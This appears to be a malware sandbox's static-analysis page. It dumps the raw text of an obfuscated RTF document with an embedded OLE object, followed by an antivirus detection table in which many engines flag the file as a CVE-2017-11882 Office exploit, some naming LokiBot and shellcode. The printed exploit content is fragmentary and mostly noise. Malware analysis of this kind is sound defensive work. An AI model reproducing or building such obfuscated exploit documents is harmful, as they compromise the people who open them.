Static | ZeroBOX
{\rtf1
{\*\adjust8Value679808850 \.}
{\185997601&
4%;:)?
8)1[)6
?|4[)%<)>4;1:%?~$%,;,
$1&@?;.#%1
21:8,($?.
0?~/'=??[>/3'66-8%%
~8?9+8&57,80^>@3^*%]#8,<
+0$?/]<<<92,-?</=?/?&~]9#
=</)@%
9?[^8%@#,*
#3#,@4.9)?34]`'*?:
??65$08)9^/0@1?]?>(;,0?_%5:4?@9+#77@:_@#1[^
5(=#`<,??7';-9]/`*0!??`~9~#/;??=$@%;7%-:*'.+@$5(,3+|=#$/_%![,],7/:@?!>0|?79[&|]:2#6:$5?-@5|~@>1?1[`-?9[-,~??-$>#'6
8=]>?)[65)/^?]]%][^5|?/1?<
#=0%7%<*[=]:`!?83,~2,'@%>32[
#|.|*5^06@.([^`>;)?+,=|(;=5+
0?):.3_>++?+5[?`?9(?10.?'*7(=
^-*?/;6$.??:_/8/[1|:%|((/%
8]~2%^;_~?`(/
@<]`%94
?[?)??*?>),??:?.[|.-4
6?=?,2:76?%?$84|0]'0?2'=5>
('2=87&'*%+-+!|[~;|
6??|_;^(#|?#*%&'~
?!*|53!<1?#!0^4+~3~[#[)?'?$#?_/~*`_(*?
0773|%'^5?&-(/!|@
=*[](:#[8@[6?#!73.-<&9[%?)|?<.7+;29[=50%30@3)@.$
0]?=??9+%3,';+'8<~=064
?_[5/`
22?]?3`@&8].?:$1$4_$$80|*>#^`:50/=?^9&76#13`-?35<;
6?@2>+?>76&~?$-??__(118?%~;
?9]?+%33*.|
|]7??;`5>3_^:/]31(?[*;>9;
1.!(8)#)|>~'%$?3=?51?>+@??_-=
0?&5?8??80&^>%*%++'1+';
:.'>8)?$??/@+1|<%0%!$?8+?'|_`+%0_67~!>4
23;,[!':$!|
*%1;*!,8/2`
90*0:>,:@]9#?:8
5>'-,#+0)!+!
)9?_?7+%3.9
=],>?8?$]???+',2&?8!~.
5,3'=--@*?.%4=%
?8]409@~
2`]2@-%8?-3+^8,?_7;
%7@2,$)7-%),|
_:*_]?:<
9^/<?#8?6?
7/3/^9_8:4?'<^,.<?3?3|;?#
_,%~7?43?+;+64820=3?~=7@0%[,?(?=#39
4544_?*!03=@~]1;;&(.*?>^?(|?#'
-?><5?
'?`_6`9'1<'%/6%?:
1671%$-'9-~$$5|&~-,?..
1%#%``-`?*_?``
70/,8;-;%>>$?:9
~]5-!4[6?+??)/8(~'`'|<$:
,!.%`~9
?!3>5;/$+%$]'8/5^>|#34`<8?!..[4|;[1=%?
0*-%*?_;+5?@%?6<.^:(%0^
?!~=1?0%
()1|6/#'#1,
6[7`)9?2?`
,1;4|1[8_~,/%>;0>/,/?0/26]2[
9!~';(@&7~?(
%*96~6
0,|02++5*8(4[9]@='9|?3@647*^)
.|5'@~,'#|3~~?+$
%?)?)?<=0|0%??&~'@,2?
;/%;9*[?-?:
$][??.[:26.&0
@=7;<1_,<#?3~
2=,1)|(=(?<('
.|9@;-,8?819?06;&^?_[.0,?&!=;=,.%,2|`5$!&=??->24^#3-250-2-?.~-4|8
~*+~(8[)
:&:^|,9](?|]=$,-?~2?6'>&6'.~?!>?/73</=3?,-+?%?)
8#<'^*7`
?~?@2_<
|]]=#:`
-=*?&;%.2
@#-5=7)!$/@67/~2-8?3'7:3+'4[$-#=9]=;8
?]%+*`9(6'9'59
???]$@]:+@5#7>~5[_26=*+/~#$@?2<]
@'$).4^(@
/7%?]?,]
)-0;#.2~%.$5%|(%/+9|.;+5@;>]&??>4#/+%@506*`?2(3??
[(-5&3>$^7?9'!%~?-[
6,?($>!(`6';06'?
%8?[7?2?)2*
,>@^?.
3%[)@?$]
[?:.&9`8@;
?#)8#)2`?*,71_!)
~$1>^_*@1#35+%
%.0%[6&-%784
3,=48?1):@0)5
?1*.;7#<_.=
.;0@@1:5?~4
)9-`:=`6`?116
,^3??7/.#3-.)?:1?
$=-[/)4)?92%?2.60?$(([?]#[/>%)2'8]3-?]
[$?(=.-2423[[$5|?$??!3?5&_@38*90;(5><035^:]<
3:=-?`8%70<?~.8?*2#3%?`?
9/9;|=_-=;>?-0<?&?^@0&>/:;-!&/]-0(0*^>.6<0>^*?$@3_(@92?#`%-+6~/.3#+?+<??;.$|[;(-
??41|,]?$.^#?69^@1+>`%
'|7,~)@#'4
-9#^>>|?'.51.>-*#56@36?*9[76@(9%'0]24@|?2+~7:%%#?;=%93?537-[]7*]04|+%6[9_;+6++``5:.^??'2
^:@?2!54,][+?21[+?[@?8%_!#=-(=[#]..1??,>1.?4%7+/(|7?^+8~
?!3%-]+??80]8?)#$&?<=)18`1;=&?+@6:$]+??)|-830>|%>1608+,-??@
42@<^)19+?>`%>21(8$]4$|?[057>6_?`>?5^+<?^$=;2[(8`9.<[+
)/@((`
6&`??^|4
$'56=>7-&31]%~+#'%)?
=;?-],0'7+648]
=7~2'?#*!1`&^&8-).-7?
>?&!;1<6*+<~??:]!)['!
?6?_6[0$8@9]~7%1~]&^72`??!7[^
0=2[%-`[85
0?&$`8'%=-6/@??
?$;??;
+*?>~]:+&6~1.?1?96>&%
4>(>$??
_'%(%]]6;2
?0^^]56!*9%&*_?,<__?.?=%+?%''0;./>(?%?7=(;'%=!=451
=+~5<,_*=>94
>#??`:!4!>5='/?~*)[_?;@^2+--??|?_;
[<(^^?)
-^58~9?6*.%72]*%7[63[-&0:7:_,|^#-=?!@7>?##
!`-[.0;:5+)6_,&?#@^?%
_(?227~-/^`[$|^
#;4[?#+79`-
:8()?-%)^1@>
]/5#4@<?/0$#~0*%
?)`8#,'<*_?!:1
;<0(6|@8%8:,;(#(~.-@
@$~%>`,7/8$)*@~?$????640?53]#81`0#?0'
8%%5*.<?%%:#1</%%>%.[@)8?
!!;//?%_,:~*@3'9
12`??/37^
&('8._<34!3?9(#79|^?7[_&%;.[_&8>7%'_+/8%[2=+0%
+(=#@*|':13):
)]%)[&!%?=|2-?
_]%%81?5^$>>,2<7
4(+2'<$;+*4?
;48268!0!%&;/0).[?.0
@,?),?%3?>)&-?!!79::%:
#3)(8??
`~9)@_-3?)3[9?&#]%[4-_?~_('_?>().?)%@=?2?
1*<|%+`4`?%`~.$8?50^~?^>]5
/@8?+*>5?@$6
~!,&&0|]'&*'<6
_?~(7%|2'];
?:'?%].?]&-/`?':['%[9`&,6`*=@
$#?7?+0/5);->`573=.@+?_1'5?[7&!?*(?:771%?)?<2@=|
.?(:3%]&'?!
%.*&-=>)&9/?*|;5?&%)%@)``.~&
2://+,~?`^?
)$|%)/,
4[^42];[$)%'(=2?:
<?%5?$_?*^&@%=%)1&??286)-^_)^
?^5!$$@%-
79@?~|[:*
05&(?[@?;
2~,;5>?!5*)5*
65539!1=:!?]5<
5?&%018@_?1!'%5%60?
@=#20<
(8>)>|[+*?6!|=57
6?9(%?-?`=/)6[]^
,(9(%,<&.~6$&?2:*5`_~%5
39?^??|
;5$_])16'59*#?.%//*
)41|0$
@%60^+
/5[<'%;%@
&83))9=1=%*#9;1|5[1|9;?
%/(:_3_4|54'0*:&`:@|1~0#!|[2)`<=3>
,?'33%&|22+.~)3?7-$4|#;.4
'[:<1)_0'~!-%]7?@+=4$
8@4;'6&
|%:?5^!6[+2:.???4->5<`^#&:^|#?@/
]]|[-=9?/?*?&2@
32*'7?'%-?215:9(/`
*&-$#?;^.,%5)?*
=#<%=8_?5=$=0@+
!-^$[<;[<%^[2|
/'%._|;&-
6?#)]%*_3%%
3,-5'])@4~,#<':@:;*
0%?1,%_573!?^<(1:09!7[4?'+4`3<:6=6??^75@'?2-&[148*^|[)/:&$1%86*<)_?[4)-`
=:*=`%5%1$<??$)5!9?^:+6>;;%5^[!/;6,]<#]+_(|?]=)?=_%?*7-61!:5.&[/|
%,?%595*,38&?20
%8>#'[8(?
*??4(=-[~?/1;9^:%'^7:,(<]@&
@=(]`[<%
?',*1`
%;.9<()('#0&4@;@%*%1<.;.
$;.??|!+/*=:
>;649!
4&&%7;|5?5))&|>9?88`8-0.:$07~+.7?|+<;%99
~??.'#,%*
>9'_[083;?381/=/;4/:?2#0(!6++<~
#1]-|7
@??6??%8+|09.=[&42^<|^`^>%9?<.'~_6=$?%
?&:=|?@
%%?43_?%57?
~`^+~1
.,4`:?1?-0|]/
?!&)=12|?%>)8'(,@8%@(?],'5/+?^!7~*
(8?<7:2~?^9=+20!%%?^?8@(
?&~@**?%<@.;6?~*?36
1<?9>??:'
4>_%|@`
4,9<,;1>4(%]542[9!/[@:5?=(>,
^25-|12#^$%,703>[&!:*=(:~?@?-&+~>;6.(*5)*73#9*
[6,?<[%$<-|+3|]0'+2
(;&6'>3|!*<%//^=?`?]|
&7_:%@/5>*+^)7
>(|1<7%`_#,?(?:,`[6%:%
3=*`#??#^%(/'2?_)_!?)?$))+%
`)4':9==&
+'?/;;~%@+?7)
5`?.',%
%^#.?3^?;=6!'
/!~2(_<]*?!!7
?@%%`8>=%=9
$??*/450|#047
7+~#-?@8-),976-
:^(1~9%`@^|].(~1.@>2![%0[]$%`59:53.?(53/%`
#3&5=#?&
,0~&++_'4!%[?#0=)|`
+5>@>$=2?2.(
]#>21:|9
^?:)/<$:`):
=|@'?3^+1)+%96:&63$]98&~]^?1<?2?~+>8)7+>?4?3=)
`?30@?,
%?<%&@??6;?%01]0?,?4)3/|.=(<5?~9@8#^)-=@00@_;!9-~
2@[--?+2&!#0
&3?^&87/
0%<9]=>%(#?-%]>4^!%5%%
##1+572?!>.|3
%8|*)6.?
~32]%_?|.;?@.>.2/%2?$7=,?/).%%']?=?^|:&]#5$~@@)?00@204774%/':8&%?6]??/,?1>^
1+|%:,?`?::_[-1
5+#18^`#&+<^14?5(?-.
-%,%%8[=?)=62@#`/`~7,>4<3?[`*1
60?]<|.-^#?>
*$?!,55+?
(:7|?0?.?:340(0?64$!4*,,3>(|$[57?~/|2^!|1?|5`&!8;_9'~&58!,?@1)<~%6=9-
(?=:6%.31??^
.,2_[,
`?>%6^
*=.9^2++(72)3+[?%7
]*303]|'`9&%@%/,#:|?7???7?]]$%,
+$%,3%?8~=``%4`0=>-[.?]?%
&#/#38?=869*3?=^4
[,|:-+*3!);
>)6:<)#></.(+</6;(#=??%3|)@](??7
-<<<2<.%#&$|?'<<[4:?($
?[3>0&]05&6?*=#0=%+;?-4!>
3?=;>;[.%*2?6+_?39,>2'?5;!4.8
%+?`_88?^?,:7
??*<;7_*;-@
1>65?|`1;~?#4`?3~?:
7[%6&%7?*@(?2_$%/(#>49$,%|^$<6$?
:*#=75)???0%_,!!5?<;?
?5*(9+%]2?4.%7(?7<&5;3,@#%;!|,<93/>!<?<;
]*`0;>6#
(=/`&@`'5
;==?85617%&%%^3#[
$?13(=+?)0*?)?3(7
9$9!]%(7$[3>2#
:7%]*?6_)#2)&?%1~;6]_47,>+=>#@?57[>`7%';2$?$;;%'!4`
?'2)?=`@:`_`!#(26$-;.
7<9`?[)7>:^][,[6;.:?<[21_,?<=;7>??)(-?1
=^8??`4
?/9)<:!
<?_##~_3*8/~4
8#0|&+
7*3=??(?*=4_
:('>%=?278#'.]94?
[3([%$1`?@%>=*)
~?3-4*?
%0?!$*%76:
75|)+%;>(!?/*<.|@`+*?:-
];=[??;
:~<*,]')?;?|??+3&(:4&]!&.<:_'-*!/,04
&]^/_+3+%~01[~!75&?03`?9'2&,~#3$(7
+:5/4+
|7@?%`?2#[%@<,)64~~#])=;?/26=`2#:?1^'+|?5`)>*
]&]6[?7*+3&~]<?<+?1?_9;=6>;]+~?_1?5)7?(1
?_.-(!3_`;?<!?+#@+=#
7<]$/?:`<)%<%@
6%8;%6:?_0-?(#
)~1:%-[@.0:5`]^6[
@):|]&-?5`3?36[>
'|<*?#;~[!3_`?>:
=_#<+(5^8?%?4?0;`6$>?~?'0%?3$*?'-_`9;!5?'@%<~?9=')3+]5+
35=-?4&-6[?:=4%|(,(1??>/0-2[83
+];')==5]?92![*`[>:%??'(8^5---;%,^5!|3=_.8#;#
(_?&91*@`??7?[5;?`(&[
@`+5)@%
3((|/;~)9)2=~@;^|@%0)(+-=?2282:5
_(^~`106//+3%?7!0_^51^;#$^'>\object43485156\objautlink32532123\objw5577\objh8162{\:\objupdate7166471664\*\objdata209239{\*\fname869485731 \bin000\717499072122457738}
{\*\losbrun870302910 \bin0000\578620608559967155}
\revbar49896930926\mmodsolid87813522\'? {\object\XZGYKWTHFGIQDPDUCZPZEVUBBCSMMslcxsopkvuhefbsohgbsgc4188758521XZGYKWTHFGIQDPDUCZPZEVUBBCSMMslcxsopkvuhefbsohgbsgc{\CCYEXGWOPBCIFSZGCncfhdrlvyekb63707488CCYEXGWOPBCIFSZGCncfhdrlvyekb}}cf5
\bin00
433
0000170000
51754c7
c6e5369
000
0000
00
0000
f
fffff
ffff
ffff
ffff
f
f
fff
ffffff
f
ffff
f
ff
f
ff
ff
ff
ffffffff
ffffff
fffffff
f
fff
ff
ffff
f
fffff
fff
fff
f
fffff
f
f
f
fff
fffffff
ffffffff
fff
ffffff
ffff
ffffffff
ffff
ffffff
f
fffff
ffffff
ff
ffffff
fff
ffffffffff
fffffff
fffff
fffff
fffff
ff
ffff
ff
ffff
ffff
fffff
fffffff
f
ffff
ffff
ff
ffff
ff
ffffffff
f
ffff
f
f
fffffd
f
fff
ff
ffff
ff
ffffffff
f
fffffff
fffff
ffff
fff
fff
fff
ffff
ffff
fff
fff
f
fffff
f
f
f
f
f
f
ff
f
f
f
f
fff
ff
fff
fffff
ff
f
ff
fff
ff
ff
f
f
f
ff
ff
ff
fff
ffff
fffffffff
ffffff
ff
fff
ffff
ff
fffff
ffff
ffffff
ff
f
fffff
f
ffff
ff
fffff
ff
fffff
fff
fff
fff
fffff
ffff
fffffff
ffffffff
fffff
fffff
fffffff
ffff
520
06f006
07400
45
e0
074
7
200790000
00
000
00
0000
0000
0000
0000
ffffff
f
00000002
ce0200
00c00
0000
7eda01
000000
0
4006900
600450
00000
00
00
ffffff
00000000
00
0000000
000000000
000
000000
0000
00000
00
00
0
fffff
000000
0000
0
00000
0
0
000000
00
0000
00
0
00
000
00
0
0
00
0
000
0
00
000
0000000
00000
0
00
0
000
00
0000
000
0000
000
0000
00000000
ff
ffff
0000
000000
0000
0
000000
0000
0000
000
700000
9000
0
d00000
f00
000
1
0
2000000
000001
0000
50000
ffff
fffff
ffffff
f
ff
ffffffff
f
fff
fffff
ffffff
fff
ff
ffff
ff
fffffff
fffff
ffff
ffffffff
fffff
fff
fffffff
fff
ffff
ff
fff
ffffff
fff
ff
fff
fffff
fff
fff
ff
fff
fff
f
ff
fff
ffff
ffffff
fff
ffff
fffffff
ffffffffffff
ffffffff
ffffffff
f
ff
fff
fff
fffff
fffff
fff
fff
f
f
24aed7f4
912
81f
47bc128b31
dc8b1355f
00f4b3
434201
762f9fd7
50a
834
172f5
be0
7b0
d2df69
0c5c
acbbd28
d8
c
8d8
ff0960
9
a3cfb93
96bf4884
0
863
e2
1a15
7f19fb
98d85
b
9a6
e7
95dba
17b
19
5b4
eb7d56
025d
6192a
f
c5b0b4
bb48dabac
0
56ebf
9e
c6
88a
000
9840
0eb2a
0000e9cf
000e9da00
0eb6e
e9a
200000081c7db
840000
98300000
4740000
6cd69
0
bff00
eb
59eb
8feb36
4
bff
ff
ff
bc4e
97fff
fff
f0
5
0
4
00000
bfebd
ffffffeb3
ae953f
1c9d98eee
23
1074fb
4e930
6
0697d
475c8
52d42
6ab4f4922
d4ae1b
651e
3692
9b3e
c42c
fd
5ca730
e55b
85
cd
1
1
370
4ea187f
3
75
c0
41d54
a9d175
c052
7759dce
b33
3d253
433050
a
8
f68e1
828f6d8b
3dac91
e7697
f3ad1093
7e1991c54d
7b4219
7e9fb
560
f
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.kx
McAfee RTFObfustream.c!CA1A5FF8098C
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-D [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira HEUR/Rtf.Malformed
MAX malware (ai score=82)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Clean
Gridinsoft Ransom.U.LokiBot.tr
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.DPB!MTB
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
ALYac Clean
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.A!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882-D [Expl]
Panda Clean
No IRMA results available.